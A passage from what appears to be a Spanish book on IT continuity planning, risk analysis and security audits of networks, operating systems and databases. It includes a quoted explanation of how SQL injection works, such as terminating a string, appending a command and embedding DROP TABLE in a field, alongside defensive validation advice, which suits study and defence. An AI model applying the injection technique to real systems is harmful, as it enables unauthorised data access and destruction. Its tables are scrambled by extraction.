La siguiente tabla muestra un ejemplo de valores RTO/WRT para el proceso
crítico de la operación del Centro de Datos de una organización.
Categoría Procesos Identificación de Tiempo de Tiempo de

(Función Críticos recursos críticos Recuperación Recuperación
Crítica del (Servicios) de Sistemas TI Objetivo – de Trabajo –
Negocio) RTO WRT
Control de 1 día 1 día
Cuartos de operaciones de 0.5 día 0.5 días
Centro de Datos
Máquinas Servidores. 1.5 días 1 día
Sistemas de 1 día 0.5 día
Página 46 de 430
Almacenamiento. 0.5 día 0.5 día

Sistemas de
Backups.
Aire
Acondicionado
Acometida
Eléctrica

RPO: Punto de Recuperación Objetivo: Este punto es importante para
determinar por cada uno de los procesos críticos (servicios), el rango de
tolerancia que una Entidad puede tener sobre la pérdida de información y el
evento de desastre.
IDENTIFICACIÓN DE PROCESOS ALTERNOS.
La identificación de procesos alternos hace posible que los procesos del negocio
puedan continuar operando en caso de presentarse una interrupción; para ello
es oportuno que las Entidades tengan métodos alternativos de manera temporal
que ayuden a superar la crisis que ha generado una interrupción; por lo tanto,
para cada proceso crítico que se establezca (en los servicios), se debe poseer
un procedimiento manual de continuidad del servicio.
GENERACIÓN DE INFORME DE IMPACTO DEL NEGOCIO.
En este punto es necesario presentar un informe de impacto de negocio que

corresponde a la guía para el BIA con los siguientes resúmenes:
Listado de procesos críticos
Listado de prioridades de sistemas y aplicaciones
Listado de tiempos MTD, RTO y RPO
Listado de procedimientos alternos.
FASE DE GESTIÓN DEL RIESGO
Ante la posible materialización de algún evento que ponga en riesgo la

operatividad de la Entidad y con el fin de establecer prioridades para la mitigación
de los riesgos, se hace necesario disponer de metodologías para su evaluación.
La metodología del plan de continuidad del negocio determina los diversos
escenarios de amenazas de una Entidad, el cual permite desarrollar las
estrategias de continuidad y los planes para reanudar los servicios que estaban
en operación.
Página 47 de 430
La gestión del riesgo debe contemplar el “cálculo del riesgo, la apreciación de su

impacto en el negocio y la posibilidad de ocurrencia3.
3 Hiles, Andrew. Business Continuity: Best Practices. Rothstein Associates, Inc. 2004 Connecticut.
A pesar de la existencia de diversidad de métodos es recomendable iniciar con

los más sencillos, que forman parte de lo que denominamos análisis previos.
Una primera aproximación es la de establecer un conjunto de causas que pueden
generar dificultades, tales como:
Riesgos Tecnológicos:
Fallas en el Fluido Eléctrico.

Sabotaje Informático.
Fallas en el Centro de Datos.
Problemas Técnicos.
Fallas en equipos tanto telecomunicaciones como eléctricos.
Servicios de Soporte a Sistemas de Producción y/o Servicios.
Riesgos Humanos:
Robos.
Acto Hostil.
Marchas, mítines.
Artefactos explosivos.
Problemas organizacionales.
Problemas con los proveedores de insumos o subproductos.
Desastres Naturales:
Sismos.
Tormentas Eléctricas.
Incendios.
Inundaciones.
CLASIFICACIÓN DE ESCENARIOS DE RIESGO
A fin de conocer con precisión los riesgos potenciales de la prestación de

servicios de tecnologías de la información en las Entidades, es recomendable
clasificar los posibles escenarios de los riesgos potenciales y describir su nivel
de impacto por cada función crítica del negocio. La siguiente tabla describe un
ejemplo de esta clasificación.
Categorías Escenarios Descripción Impacto

Fallas en el fluido
Fallas del servicio eléctrico de la entidad que afecta
eléctrico red normal (no
equipos eléctricos normales.
Red Eléctrica regulada)
Fallas en el Fluido
Fallas en los servicios de Tecnología de Información.
Eléctrico red regulada
Página 48 de 430
Problemas dispositivos Falla temporal de los servicios de TI de todo un

Red: Falla Parcial componente por limitación en la comunicación.
Problemas dispositivos Falla general de los servicios de TI de todos los

Red: Falla Total componentes por ausencia en las comunicaciones
Falla parcial de los servicios de TI de todos los

Problemas en los
componentes que tiene que ver con elementos de
Red Datos, Dispositivos Seguridad:
seguridad de TI (Elementos de Hardware Software) y
Internet y Falla Parcial
ausencia de políticas y controles de TI.
Seguridad
Falla general de los servicios de TI de todos los

Problemas en los
componentes que tiene que ver con elementos de
Dispositivos Seguridad:
seguridad de TI (Elementos de Hardware, Software) y
Falla Total
ausencia de políticas y controles de TI.
Falla general de los servicios de TI de todos los

componentes involucrados en la conexión de última
Ausencia servicio del milla por ausencia en la comunicación. No acceso a
canal de Internet Última internet; impacto directo con el proveedor del
Milla: Total servicio.

Problema de Hardware de Falla total de los servicios de los sistemas de información
Hardware Servidores: Falla Total que usan la plataforma de servidores.
distribuido
Degradación de la calidad (lentitud) de los servicios de los
Problema HW Servidores:
sistemas de información que usan la plataforma de
Falla Parcial
servidores.
Problemas en sistema Falla de los servicios de los sistemas de Información que
Almacenamiento usan la plataforma de almacenamiento de información.
Hardware Problemas Hardware de Falla de los servicios de los sistemas de información que
distribuido Servidores usan la plataforma de servidores.
Disminución de capacidad de atención a los clientes y

Ausencia de funcionarios, usuarios, lentitud en la atención a requerimientos e
incapacidades y rotación incidentes, como también el retraso en la puesta en
marcha de nuevos servicios.
Recursos
Humanos
Contempla desde la degradación de un servicio hasta la
Errores humanos en pérdida del mismo, como también la ejecución de
operación procedimientos de manera errada que de cómo resultado
la pérdida del servicio de uno o todos los sistemas de
información del proyecto.
Página 49 de 430

Falla en la aplicación por
Contempla la degradación de un servicio por fallas en la
desarrollo no adecuado de
funcionalidad de los sistemas de información.
parte de terceros
Desarrollo de
aplicaciones
Falla en la aplicación por
desarrollo no adecuado por Contempla la degradación de un servicio por fallas en la
parte de la Entidad funcionalidad en los sistemas de información de la Entidad.
.
METODOLOGÍA DEL RIESGO
Es importante determinar los riesgos a los que están enfrentadas las

infraestructuras de TI de las organizaciones con base en la identificación tanto
de amenazas como de vulnerabilidades.
La identificación de amenazas que pueden afectar un activo de información

puede clasificarse de la siguiente manera:
 Amenazas a las instalaciones: Caídas de energía, daños de agua, fallas

mecánicas, pérdidas de acceso.
 Amenazas tecnológicas: Fallas en las comunicaciones, fallas en el
software, fallas en el hardware, virus, spam, hacking, pérdida de datos,
entre otros.
 Amenazas naturales: Inundaciones, sismos, huracanes, tormentas,
incendios, entre otros.
 Amenazas sociales: Protestas, sabotajes, motines, asonadas,
terrorismos, vandalismos, entre otros.
 Amenazas humanas: Problemas de transporte, huelgas, epidemias,
pérdida de personal clave.
IDENTIFICACIÓN DE VULNERABILIDADES
Las vulnerabilidades son las debilidades de seguridad de Información

asociadas a los activos de información y se hacen efectivas cuando una
amenaza la materializa en los sistemas de información de las Entidades.
Estas no son causa necesariamente de daño, sino que son condiciones que
pueden hacer que una amenaza afecte a un activo de información en particular.
Para cada amenaza identificada en el punto anterior se debe realizar un análisis

de riesgo para identificar la(s) vulnerabilidad(es).
Página 50 de 430
La siguiente tabla muestra un ejemplo de las amenazas y vulnerabilidades por

cada Activo de Información.
Sistema Activo de Probabilidad

Amenaza Vulnerabilidad Impacto
TIC /SI Información Ocurrencia
Defacement
Servicio Web de Página Web Mal diseño del
(desfiguración Medio Alto
la Entidad Entidad sitio web
página web)
Correo
Virus, listas Carencia de
Servicio correo electrónico Alto Alto
negras parches de
electrónico Exchange
seguridad
Sistema de No hay buena

Almacenamiento
Falla Fluido acometida
SAN / NAS Bajo Alto
Eléctrico eléctrica
Base de Uso no Mala

Sistema Base de
Datos autorizado no Configuración Bajo Alto
Datos
Interna monitoreado Falta de uso
herramientas
Mala
Router /
Servicio de Red Fallo en las configuración
Firewall y Medio Alto
Comunicaciones Comunicaciones o Elección del
Switches
Modelo
Es obvio, que en esta tabla se han omitido todas las vulnerabilidades, relativas
al Software, debido a que el Software admite múltiples combinaciones y es
imposible predecir todos los resultados, dado que no todos los productos
software, aparecen de forma coordinada y no todas las organizaciones migran
sus herramientas y sus aplicaciones derivadas del uso de las mismas.
Para localizar las vulnerabilidades software hay varias páginas que son
interesantes vamos hablar de las dos más conocidas la primera es del Instituto
Nacional de Ciberseguridad (INCIBE) cuya dirección web para vulnerabilidades
es https://www.certsi.es/alerta-temprana/vulnerabilidades.
La segunda página web es: https://www.first.org/cvss/calculator/3.0 en ambas

parecen las distintas vulnerabilidades, para cada producto software y cada
versión que introduzcamos, lo que ocurre con esta segunda es que además nos
ofrece información específica de cómo afecta cada una de estas vulnerabilidades
a los elementos fundamentales del ISO 27001 que responden a las siglas de
C.I.A / C.I.D en español de las que luego hablaremos.
Una vez tenemos los informes de los BIAs que han sido sometidos a las
valoraciones y aprobaciones tanto del: CSGSI como del CSGA, será necesario
comprobar de forma controlada su correcto funcionamiento, para ello hemos de
corroborar la funcionalidad frente a las amenazas externas como internas, para
ello nos valdremos de las técnicas relacionadas con las distintos tipos de
Auditoria de utilizadas para chequear y contrastar los siguientes elementos que
Página 51 de 430
componen los elementos TIC /SI: Redes, Sistemas Operativos Servidor / Cliente
y Aplicaciones por último las Bases de Datos de la cuales vamos hablar a
continuación, para su mejor compresión y para valor su viabilidad dentro de
nuestro proyecto.
Capitulo 5 Auditorias:
No es tan fiero el Lobo como lo pintan.
Hemos citado en el parrafo anterior que hay varios tipos de

Auditoria, que responden a cada uno de los componentes
que integran un sistema completo TIC / SI.
Auditoria de Redes teniendo en cuenta que hoy en día todos los negocios se
realizan a través de las Redes y todas ellas, conectadas a su vez a la Red de
Redes (Internet) debemos prestar especial atención a la Auditoria que se realiza
sobre este elemento, tanto por parte de los atancantes externos, como los
internos, que transfieren información sensible o confidencial hacia el exterior.
En vez de enredarnos en tediosas y largas descripciones, hemos selecionado un

conjunto de varias presentaciones y diapositivas, que nos dan las guias precisas
para entender que debemos esperar de los auditores, que van a realizar este
tipo de auditoria tan especializado y que mostraremos en las siguientes páginas.
Para respetar los derechos de autor, cada conjunto de diapositivas tendra, como
diapositiva inicial aquella donde figura el autor de la misma y los datos de
contacto de los mismos. Esto se hace para atenerse a lo dispuesto en la ley de
propiedad intelectual.
La parte física de la Auditoria de Redes se atendrá a lo expuesto en una norma

que no es ISO, pero que define los estándares que se han de cumplir para
garantizar la estructura física de cualquier instalación TIC / SI como es la
TIA492 y de la cual vamos a incluir a continuación algunas diapositivas para
una mejor comprensión del lector
SlideShare TIA 492 Publicado 1 de abril 2013 cuya autoría se corresponde a
1. NORMATIVA PARA IMPLEMENTAR DATA CENTERS Telecommunications

Infrastructure Sanders for Data Centers Ingeniería de Sistemas e Informática Universidad
Alas y que se expone a continuación.
Página 52 de 430
Página 53 de 430
Página 54 de 430
Una vez hemos conocido el estándar relativo a las condiciones físicas que debe
de cumplir toda instalación TIC / SI para garantizar su operatividad funcional
podemos pasar al abordaje de la parte lógica de la Auditoria de Redes. Lo
primero que debemos de comprender es que tanto desde el exterior como desde
el interior es posible que se produzcan ataques y que todos los ataques tanto
externos como internos siguen unas pautas que apoyan en la existencia de
agujeros de seguridad conocidos como vulnerabilidades y que utilizan técnicas
Página 55 de 430
e instrumentos propios de la ingeniería de software, la misma que se usa para

construir otras herramientas, además de la ingeniería social para lograr el acceso
físico y la introducción de llaves lógicas, que abran puertas inexistentes hacia el
exterior. Para ampliar información respecto a esta norma consultar estos
links:http://www.c3comunicaciones.es/data-center-el-estandar-tia-942/
Vulnerabilidades y Ataques Informáticos
Página 56 de 430
Aunque pueda parecer un contrasentido, si

realmente queremos conocer la fortaleza o
debilidad de nuestra seguridad física y lógica,
se puede contratar a Hackers para que
realicen las siguientes técnicas, habiendo
explicitado mediante contrato, que técnicas
de pen testing se utilizaran y determinado un
alcance concreto para el uso de dichas
técnicas, por parte de estos profesionales. Siempre que consideren adecuadas
todas las técnicas caja negra, como de caja blanca o incluso de caja gris.
Caja negra.
En teoría de sistemas y física, se denomina Caja Negra a aquel elemento que

es estudiado desde el punto de vista de las entradas que recibe y las salidas o
respuestas que produce, sin tener en cuenta su funcionamiento interno. En otras
palabras, de una caja negra nos
interesará su forma de
interactuar con el medio que le
rodea (en ocasiones, otros
elementos que también podrían
ser cajas negras) entendiendo qué es lo que hace, pero sin dar importancia a
cómo lo hace. Por tanto, de una caja negra deben estar muy bien definidas sus
entradas y salidas, es decir, su interfaz; en cambio, no se precisa definir ni
conocer los detalles internos de su funcionamiento.
Caja Blanca.
Una auditoria de tipo caja blanca se produce cuando el auditor puede gozar de
conocimientos internos (puede conocer la infraestructura de la web, las medidas
de seguridad de la página web, puede entrevistar a los desarolladores, puede
revisar código, etc..) y simula el comportamiento de un atacante que podría venir
del interior de la organización y/o con colaboración interna a la misma.
Caja Gris.
Prueba de caja gris (del inglés: Gray box testing) es una combinación de
prueba con caja blanca y prueba con caja negra. El objetivo de esta prueba
es para buscar los defectos debido a una estructura incorrecta o en el uso
incorrecto de aplicaciones. Las pruebas con caja gris son beneficiosas porque
toman la técnica directa de la prueba de caja negra y lo combinan con los
sistemas con código en mente de la prueba con caja blanca.
Las pruebas con caja gris están basadas en generar caso de prueba como
requisito porque así se presentan todas las condiciones antes de que el
programa sea probado utilizando el método de aserción. Una lengua de
especificación es usada para hacer más fácil de entender los requisitos y verificar
su uso correcto.
Página 57 de 430
Muchas de las brechas de seguridad, se generan por no hacer uso de las

herramientas, que los propios equipos traen y que nos permiten cambiar las
contraseñas, nos permitir el uso de protocolos no seguros / no fiables, cuando
podemos modelar todo esto para evitar brechas simples de solucionar, que
bastaría simplemente con tener conocimiento de cuales han sido aplicado y
están siendo monitorizadas y cuales no se utilizado, ni se monitorizan. Con ello
lo único que estamos haciendo es fomentar el riesgo innecesario.
Página 58 de 430
Hay que señalar que el protocolo TELNET es un recurso en la mayoría de los

Sistemas Operativos de generaciones posteriores al año 2000 requiere de
activación expresa, por defecto esta deshabilitado, que lo habitual es el uso de
SSH y TLS por ser más seguros y confiables.
Auditoria de Redes Lógicas
Página 59 de 430
Por ello es muy importante hacer hincapié, en los procesos de auditoria que
afectan al Firewall, los Switches, y todos los dispositivos que se
direccionen mediante una dirección ip, ya que son susceptibles de sufrir
ataques. Por eso es conveniente y necesario que el Auditor disponga de: un
inventario técnico detallado, para poder estudiar de forma anticipada los
mecanismos de seguridad con los que cuentan estos dispositivos, así como
Página 60 de 430
conocer, si existe una guía de auditoria que incluso algunos fabricantes elaboran
para verificar la operatividad más allá de lo que hace el usuario convencional.
Auditoria Red Física
Página 61 de 430
Página 62 de 430
Página 63 de 430
Página 64 de 430
Página 65 de 430
Página 66 de 430
Página 67 de 430
Una vez concluida la Auditoria de Red, debemos en caso de que exista y se

utilice de forma cotidiana pasar a realizar la Auditoria Web que emplea las
técnicas ya citadas y verificar si los componentes utilizados, para su desarrollo y
explotación, están debidamente gestionados y puestos al día, en cuanto hace
referencia a los programas encargados de reparar, los agujeros de seguridad
que se han ido detectando, con el paso del tiempo.
Página 68 de 430
También es muy importante verificar no sólo la correcta aplicación de los mismos

y su inventariado, sino que en todos los desarrollos ya sean internos o externos,
este perfectamente documentados, sincronizados las versiones utilizadas. De
esto hablaremos más en profundidad al abordar las Auditorias de Desarrollo y
de Bases de Datos, así como de Aplicaciones.
Auditorias de Sistemas Operativos Servidor / Cliente.
Auditorias de Sistemas Operativos Servidor / Cliente.
Los sistemas operativos son la primera pieza por la que la seguridad puede
quebrarse desde fuera y desde dentro, empecemos por algo muy básico como
es que mientras en los grandes sistemas o mainframes o sistemas clásicos cuya
arquitectura era: maestro-esclavos, el terminal carece de inteligencia para
ejecutar procesos, en los sistemas modernos la capacidad de ejecución de
procesos no llega alcanzarse por parte de los terminales, pero contraprestación
el tipo de procesos que pueden ejecutarse es infinito frente al ordenador central.
Mientras en el ordenador hay una única licencia, en los ordenadores personales

se requiere una licencia por cada procesador, aunque en los últimos tiempos la
compra del hardware lleva aparejada, la licencia software correspondiente. Por
tanto, el marco legal garantiza el soporte necesario frente a posibles pérdidas de
datos durante la vida del sistema operativo en cuestión.
Arquitectura Servidor / Cliente.
Desde la aparición de Windows Server, cada vez más organizaciones lo han

adoptado, como sistema operativo corporativo, lo que ha obligado a Microsoft
como empresa a mejorar en cada nueva versión tanto en la versión de servidor,
que aglutina la mayoría de aplicaciones sobre la que se construye el SI de
cualquier empresa, como en las distintas versiones clientes de Windows en las
tres últimas versiones Windows 7 (4 versiones diferentes) Windows 8-8.1 y
Windows 10 (2 Versiones), las mejoras se han enfocados hacia la seguridad y la
conectividad.
Ello también es producto que el competidor directo de Microsoft, los sistemas

Linux han mejorado en esas facetas y también en el desarrollo de interfaces de
usuario gráfico, que lo antes era privativo de Windows o Mac o también lo es
ahora de Linux con lo cual los clientes finales tienen dos alternativas de pago y
varias gratuitas, donde lo que aún faltan son aplicaciones de usuario final, que
en algunos años correrán en todas las plataformas.
Lo importante cuando hablamos de un sistema operativo Servidor / Cliente son

las siguientes características:
1.- Debe proporcionar niveles avanzados de conectividad multiplataforma con

mecanismos de autenticación robustos, lo que supone que cada parte de los
mecanismos de conexión y autenticación puede garantizar: la confiabilidad, la
Página 69 de 430
integridad y la disponibilidad de la información, a lo largo de todo el proceso de

autenticación del Usuario. Desde el inicio hasta el cierre de la/as sesión/es.
2.- Debe suministrar mecanismos de monitorización constante, sobre los

recursos locales y remotos, que cada usuario utiliza durante todas y cada una de
las sesiones establecidas.
3.- Debe garantizar que los privilegios de los Usuarios y de los Grupos de
Usuarios sólo pueden ser gestionados por Administradores Locales y Remotos
desde los Servidores y Controladores de Dominio o de Grupo de Trabajo que
han superado de forma satisfactoria todos los mecanismos de autenticación
incluidos los ocultos a los mismos.
4.- Que dispone y obliga al uso de contraseñas con ciclos de vida y

características morfológicas y sintácticas avanzadas, sin exclusión de uso de
datos biométricos.
5.- Que dispone de herramientas para adecuar los recursos de cada cliente, de
forma individual, conforme a un perfil compuesto de ubicación física y lógica, ya
sea fija o móvil, respecto tanto a los recursos locales conforme al tipo de terminal
que se esté utilizando, ya sea: PC-Desktop, Portátil, Tablet, Smartphone, u otros
que surjan en un futuro, como respecto a los recursos remotos allí, donde se le
ha permitido el acceso.
6.- Debe garantizar, que no podrá modificar salvo autorización expresa y bajo
circunstancias excepcionales, cualquiera de los componentes que no estén
requeridos de forma explícita por los requisitos de comunicación o de uso de
programas (entiéndase aplicaciones) para fin distinto al que fue establecido por
la organización.
7.- Que cualquier modificación local, será siempre transitoria y deberá estar
autorizada, ya que se verificará que las configuraciones de componentes
disponibles, para este usuario, deben permanecer inalterables y en caso de
encontrar discrepancias, la configuración establecida en el servidor de dominio
donde se conecta, como primer punto de acceso a la red y donde está registrado
remplazará la modificada, ya que solo la definida en el servidor es aceptada
como válida.
8.- Que el conjunto de herramientas que permiten modificar componentes del

sistema operativo está inhabilitado para el usuario final como, por ejemplo: el
panel de control, el editor de registro, etc.… así como el acceso a protocolos de
comunicaciones y transferencia de datos declarados como no seguros.
9.- Que las conexiones inactivas durante un intervalo de tiempo establecido

expiran requiriéndose de nuevo autenticación completa, salvo que sea el
servidor quien inicie una sesión remota, para cualquier clase de trabajo necesario
y que preferentemente responda al patrón de sesión inatendida, por parte del
usuario final.
10.- Que debe de contar con sistema que permitan gestionar diferentes estados
del sistema operativo local y realizar trabajos de recuperación en caso de
Página 70 de 430
procesos de actualización critica hayan fallado, o chequeos de software como

por ejemplo sería el análisis rutinario en busca de malware o spyware.
Todos los procesos relatados anteriormente son relativos al servidor como

servidor de comunicaciones y servidor ejecutando procesos de aplicaciones
locales o distribuidas a través de las redes de la empresa.
Por tanto es muy importante corroborar que las actualizaciones están al día, al
menos la de importancia alta, según las páginas que citamos y que ahora
recordamos de nuevo https://www.certsi.es/alerta-temprana/vulnerabilidades y
https://www.first.org/cvss/calculator/3.0
También es importante conocer aquellas que no adoptado, cual es la causa de

que esto sea así, sí se dan casos en que esta circunstancia se presenta de forma
reiterada, será bueno comunicárselo en caso de tratarse de diferente auditor
comunicarlo al auditor que lleve a cabo la auditoria de desarrollo para conocer
en mayor profundidad el porqué de esta circunstancia y consensuar la
explicación y recomendaciones finales entre ambos auditores.
Todas las pruebas relacionadas con este tipo de Auditorias, las de Sistema
Operativo, han de ser realizadas mediante la ejecución de sencillos scripts, para
los cuales el auditor, no tienen necesariamente que tener mayores
conocimientos del sistema operativo o sistemas operativos a auditar, que
cualquier usuario de la organización, donde se está desarrollando la auditoria.
Es importante que sea posible además de recopilar información escrita, sobre

los resultados obtenidos mediante la ejecución de dichos scripts y sus ficheros
de salida, que deben tener hash, obtener otro tipo de evidencias, por ejemplo:
videos o fotografías, lo mismo que ocurre con las inspecciones oculares con en
el caso de las auditorias de infraestructura física, en este caso, durante la
ejecución que se puedan incorporar en caso necesario a los informes de
evidencia con posterioridad.
Antes de pasar a las Auditoria de Base de Datos y de Desarrollo, es muy

importante recopilar información tanto de la infraestructura física red, como de la
infraestructura lógica, hasta aquí vista, digo recopilar información financiera y de
mantenimiento. Ya que forman parte del coste operativo del área TIC / SI y
también es importante saber que esta amortizado y por tanto es susceptible por
requerimientos de seguridad física y lógica de ser trasladado, a áreas de menor
exposición al riesgo, o donde la gestión de la configuración no juegue, un roll
critico en función de los resultados obtenidos vía pen testing sobre todo los
obtenidos mediante el uso de caja negra.
Todas las organizaciones e incluso nosotros mismos, para nuestros usos

personales utilizamos bases de datos, de todo tipo y clase y por tanto teniendo
en cuenta que el activo de las diferentes clases de información de la
organización, los procesos documentación, gestión y automatismos residen
sobre este tipo de herramientas es importante: dedicarles la debida atención
como hemos venido haciendo con las redes y los sistemas operativos.
Página 71 de 430
Capítulo 6
Las Bases de Datos y su Auditoria: Motor SGDBR y Desarrollo.

Donde descansa la mayoría de la información de nuestra empresa.
Quien piense que las Bases de Datos, con independencia

de su arquitectura, concepto, lenguaje de definición,
modelado, explotación y uso, son un recurso menos
crítico, que los vistos anteriormente, se equivoca, quizás
junto con Desarrollo y por contener toda clase de
información sensible y no sensible, es de los activos más
sensibles y complejos de auditar, de hechos, son uno de
los objetivos básicos de cualquier ataque, dado que su
información es valiosa por sí misma y es un bien
negociable.
Como en los casos anteriores vamos a utilizar dos presentaciones una muy
generalista y una más especifica que nos indican las pautas a seguir: Extraído
de SlideShare Publicado 28 de mayo 2013.
Auditoria de Base de Datos y Desarrollo
Algo que puede parecer muy banal y no lo es, la base de datos que utiliza el
personal de Seguridad Física, que realiza el control de Accesos a nuestras
instalaciones y que puede estar vinculada con la Base de Datos de Video
vigilancia.
La Base de Datos del Personal Externo, de nuestros proveedores que vienen

hacer trabajos y en la cual está definido, por ejemplo: semanas laborales,
Página 72 de 430
vigencia de las autorizaciones, zonas de circulación permitida y prohibidas

dentro de la empresa, etc.…
Incluso los sistemas operativos utilizan bases de datos, para gestionar los
Usuarios, los grupos de pertenencia a Grupos de Trabajo y Dominios, tipo de
objetos a los que se puede acceder y tipo de uso que se les puede aplicar, etc.
De hecho, cuando se está tratando con la gestión de acceso, se está tratando

con una Base de Datos de Permisos distribuida a través de la Red.
Dependiendo de quién y cómo se construyen las aplicaciones, es posible que

tanto en el Servidor, como los Clientes que acceden al Servidor, donde radica el
motor de Base de Datos, se esté generando registros, en el sistema operativo
tanto en el de los Clientes como en el Servidor, así como en el propio motor de
la Base de Datos por es importante tener presente lo siguiente:
Página 73 de 430
Profundizando más con lo expuesto en la diapositiva el tema de los lenguajes de

programación y de las herramientas de desarrollo CASE y sobre todo los CASE
con funcionalidades de Reverse Engineering, siempre surge el tema no sólo de
los accesos no autorizados, sino el problema que supone la posibilidad de
exportar estos datos hacia el exterior, o hacerlos circular dentro de la empresa
de manera incontrolada.
Un ejemplo de esto es JAVA y el eterno problema de los plugins de los

navegadores que operan sobre sistemas Windows, otra cuestión son sistemas
como Linux o MacOS. De esto hablaremos más en profundidad al hablar de las
Auditoras de Desarrollo. Presentación descargada desde SlideShare y
elaborada por los siguientes autores
Página 74 de 430
Página 75 de 430
Página 76 de 430
Página 77 de 430
Página 78 de 430
Auditoria aplicadas a los Motores de Base de Datos Oracle y SQL-Server
Página 79 de 430
Página 80 de 430
Página 81 de 430
Página 82 de 430
Página 83 de 430
Página 84 de 430
Y como las Bases de Datos y la mayoría de las aplicaciones que las empresas
desarrollan para su modelo de gestión del negocio, generan una problemática
propia a la hora de Auditar hablemos de este proceso, primero de forma
generalista y luego profundizaremos más en la cuestión.
Página 85 de 430
Página 86 de 430
Página 87 de 430
Bueno en cuanto a lenguajes de programación y herramientas de desarrollo, la

variedad es infinita, hay tanta diversidad sobre cada herramienta y sus lenguajes
asociados, que es casi imposible establecer parámetros que permitan auditar de
forma formal que se debe estudiar.
Básicamente lo que se busca de forma sistemática hoy dentro del Código son
las puertas trasera o Backdoor, y aquellos puntos donde es posible realizar
inyecciones SQL concepto que vamos a explicar, más adelante dentro de este
mismo capítulo, puesto que una gran parte de ataques modernos vía Web se
basan en esta técnica que permite acceder a Bases de Datos, con lo que ello
supone, no solo por la pérdida de Confidencialidad de la Información y de la
alteración de la Integridad, amén de hacerla disponible más allá de los limites
aceptados permitidos.
Página 88 de 430
Inyección SQL extraído de TechNet ©® de Microsoft.
La inyección de código SQL, es un ataque en el cual se inserta código malicioso

en las cadenas que posteriormente se pasan a una instancia de SQL Server para
su análisis y ejecución. Todos los procedimientos que generan instrucciones
SQL deben revisarse en busca de vulnerabilidades de inyección de código, ya
que SQL Server ejecutará todas las consultas recibidas que sean válidas desde
el punto de vista sintáctico. Un atacante cualificado y con determinación puede
manipular incluso los datos con parámetros.
La forma principal de inyección de código SQL consiste en la inserción directa

de código en variables especificadas por el usuario que se concatenan con
comandos SQL y se ejecutan. Existe un ataque menos directo que inyecta código
dañino en cadenas que están destinadas a almacenarse en una tabla o como
metadatos. Cuando las cadenas almacenadas se concatenan posteriormente en
un comando SQL dinámico, se ejecuta el código dañino.
El proceso de inyección consiste en finalizar prematuramente una cadena de

texto y anexar un nuevo comando. Como el comando insertado puede contener
cadenas adicionales que se hayan anexado al mismo antes de su ejecución, el
atacante pone fin a la cadena inyectada con una marca de comentario "--". El
texto situado a continuación se omite en tiempo de ejecución.
Aunque aquí solo estamos haciendo una recopilación de tipos de riesgos a lo

que nos enfrentamos, mediante diferentes técnicas de Auditoria retomando la
cita que introdujo este concepto, veamos que debemos buscar para verificar que
el programador o programadores, están tomando medidas para evitar que las
inyecciones SQL logren sus objetivos, que es: una vez sobrepasada las barreras
tradicionales de seguridad interna poder acceder sin contar con la autorizaciones
pertinentes acceder a datos sensibles.
Valide siempre los datos especificados por el usuario mediante comprobaciones

de tipo, longitud, formato e intervalo. A la hora de implementar medidas de
precaución frente a la especificación de datos dañinos, tenga en cuenta la
arquitectura y los escenarios de implementación de la aplicación. Recuerde que
los programas diseñados para ejecutarse en un entorno seguro pueden copiarse
en un entorno no seguro. Las sugerencias que se muestran a continuación deben
considerarse prácticas recomendadas:
 No haga suposiciones sobre el tamaño, tipo o contenido de los datos que

recibirá la aplicación. Por ejemplo, debe hacer la siguiente evaluación:
o Cómo se comportará la aplicación si un usuario (malicioso o no)

especifica un archivo MPEG de 10 megabytes cuando la aplicación
espera un código postal.
o Cómo se comportará la aplicación si se incrusta una instrucción

DROP TABLE en un campo de texto.
Página 89 de 430
 Compruebe el tamaño y el tipo de los datos especificados y aplique unos

límites adecuados. Esto puede impedir que se produzcan saturaciones
deliberadas del búfer.
 Compruebe el contenido de las variables de cadena y acepte únicamente

valores esperados. Rechace las especificaciones que contengan datos
binarios, secuencias de escape y caracteres de comentario. Esto puede
impedir la inyección de scripts y puede servir de protección frente a
explotaciones de saturación del búfer.
 Cuando trabaje con documentos XML, valide todos los datos con
respecto a su esquema a medida que se vayan indicando.
 No cree nunca instrucciones Transact-SQL directamente a partir de

datos indicados por el usuario.
 Utilice procedimientos almacenados para validar los datos indicados por

el usuario.
 En entornos de varios niveles, todos los datos deben validarse antes de
que se admitan en la zona de confianza. Los datos que no superen el
proceso de validación deben rechazarse, y debe devolverse un error al
nivel anterior.
 Implemente varias capas de validación. Las precauciones que tome

contra usuarios malintencionados ocasionales pueden resultar ineficaces
contra piratas informáticos con determinación. Lo más recomendable es
validar los datos especificados por el usuario en la interfaz de usuario y,
después, en todos los puntos posteriores en que atraviesen un límite de
confianza.
Por ejemplo, la validación de datos en una aplicación de cliente puede

evitar la inyección de scripts. Sin embargo, si en el siguiente nivel se
asume que ya se ha validado la entrada, cualquier usuario
malintencionado que sea capaz de eludir un cliente puede disfrutar de un
acceso sin restricciones a un sistema.
 No concatene nunca datos especificados por el usuario que no se hayan

validado. La concatenación de cadenas es el punto de entrada principal
de una inyección de scripts.
 No acepte las siguientes cadenas en campos a partir de los que puedan

construirse nombres de archivo: AUX, CLOCK$, COM1 a COM8, CON,
CONFIG$, LPT1 a LPT8, NUL y PRN.
Lo importante es que debemos tener presente que: no debemos especular a la

hora de catalogar riesgos, si no elaborar un mapa de tipos de auditorías, por
cada área que vaya a alinear, acreditar o certificar y verificar que cada auditoria
ha verificado de forma completa su campo de actuación, para el que se formuló
específicamente. Algunas auditorias que han de ser carácter general por estar
los recursos implicados en las mismas distribuidos a lo largo de toda la
Página 90 de 430
organización por ejemplo Redes, Sistemas Operativos, Aplicaciones Ofimáticas

son ejemplos válidos. Según se desarrolle el proyecto se debería completar, una
tabla como la de la siguiente página, esta nos puede ayudar a conocer el
progreso del análisis de Riesgos en cada área y por tipo de auditoria, con lo cual
tendríamos un mapa de riesgos casi completo, excluidos los desastres naturales,
cuyo riesgo está vinculado directamente con la ubicación y los desastres
relacionados con la seguridad física, que se relacionan sobre todo con el
mantenimiento de la infraestructura.
Tipo Auditoria Area1 ●●●● ●●●● Área-N

P=Pendiente / R=Realizado P R P R P R P R
Redes
Router
Gateway
Firewall
IPS / IDS
Protocolos No seguros
Páginas Webs
Sistemas Operativos
Server
Client
Software Seguridad.
Antivirus-Antimalware
Backup-Restore
Sistemas Ofimáticos
Sistemas Correo-E.
Sistemas FTP
Motor Base de Datos
Lenguajes
ERP
CMR
Página 91 de 430
Otra tabla que nos puede ayudar a comprobar no sólo el progreso de nuestros
múltiples proyectos de auditoria sería una tabla como la siguiente que es un
mapa detallado de hallazgos sobre las amenazas vinculadas con los riesgos.
Tipo Auditoria Area1 Modelo del Elemento

P=Pendiente / R=Realizado NV VA VM VB
Redes
Router
Gateway
Firewall
IPS / IDS
Protocolos No seguros
